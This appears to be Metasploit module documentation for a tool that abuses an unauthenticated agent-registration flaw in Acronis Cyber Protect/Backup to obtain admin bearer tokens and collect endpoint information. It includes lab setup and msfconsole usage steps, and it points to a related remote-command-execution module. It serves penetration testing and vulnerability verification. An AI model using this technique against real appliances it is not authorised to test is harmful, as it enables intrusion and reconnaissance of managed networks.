## Vulnerable Application
Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, compute, storage and application resources.
Businesses and Service Providers are using it to protect and backup all IT assets in their IT environment.

This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect appliance which,
in its default configuration, allows the anonymous registration of new backup/protection agents on new endpoints.
This API endpoint also generates bearer tokens which the agent then uses to authenticate to the appliance.
As the management web console is running on the same port as the API for the agents,
this bearer token is also valid for any actions on the web console.
This allows an attacker with network access to the appliance to start the registration of a new agent,
retrieve a bearer token that provides admin access to the available functions in the web console.

This module will gather all machine info (endpoints) configured and managed by the appliance.
This information can be used in a subsequent attack that exploits this vulnerability to execute arbitrary commands
on both the managed endpoint and the appliance itself.
This exploit is covered in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`.

Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and
Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.

The following releases were tested.

**Acronis Cyber Protect 15 ISO appliances:**
* Acronis Cyber Protect 15 Build 28503
* Acronis Cyber Protect 15 Build 27009
* Acronis Cyber Protect 15 Build 26981
* Acronis Cyber Protect 15 Build 26172

**Acronis Cyber Protect 12.5 ISO appliances:**
* Acronis Cyber Protect 12.5 Build 16428
* Acronis Cyber Protect 12.5 Build 16386
* Acronis Cyber Protect 12.5 Build 14330
* Acronis Cyber Protect 12.5 Build 11010

## Installation steps to install the Acronis Cyber Protect/Backup appliance
* Install the virtualization engine VMware Fusion on your preferred platform.
* [Install VMware Fusion on MacOS](https://knowledge.broadcom.com/external/article/315638/download-and-install-vmware-fusion.html).
* [Download ISO Image](https://care.acronis.com/s/article/71847-Acronis-Cyber-Protect-Links-to-download-installation-files?language=en_US).
* Install the Acronis iso image in your virtualization engine by unzipping the appliance image and import the `ovf` image.
* During the boot, select `Install appliance` and configure the installation settings such as setting the root password and IP address
* using the option `change installation settings`.
* Boot up the VM and should be able to access the Acronis Cyber Protect/Backup appliance either thru the console, `ssh` on port `22`
* via the `webui` via `http://your_ip:9877`.
* Ensure that you have registered yourself on the Acronis Web site and applied for the 30-days trial for Acronis Cyber Protect.
* Login into the appliance via the `webui`.
* Follow the license instructions to apply your 30-day trial license.

You are now ready to test the module.

## Verification Steps
- [ ] Start `msfconsole`
- [ ] `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`
- [ ] `set rhosts <ip-target>`
- [ ] `run`
- [ ] you should get a list of all endpoints that are registered at the appliance.

## Options
### PRTSCRN
You can use this option to turn on or off the print output of the gather info to the console (default true).
By default all information will be stored in a file in `json` format at the loot directory.
You can use this file in combination with `jq` for offline queries and processing.
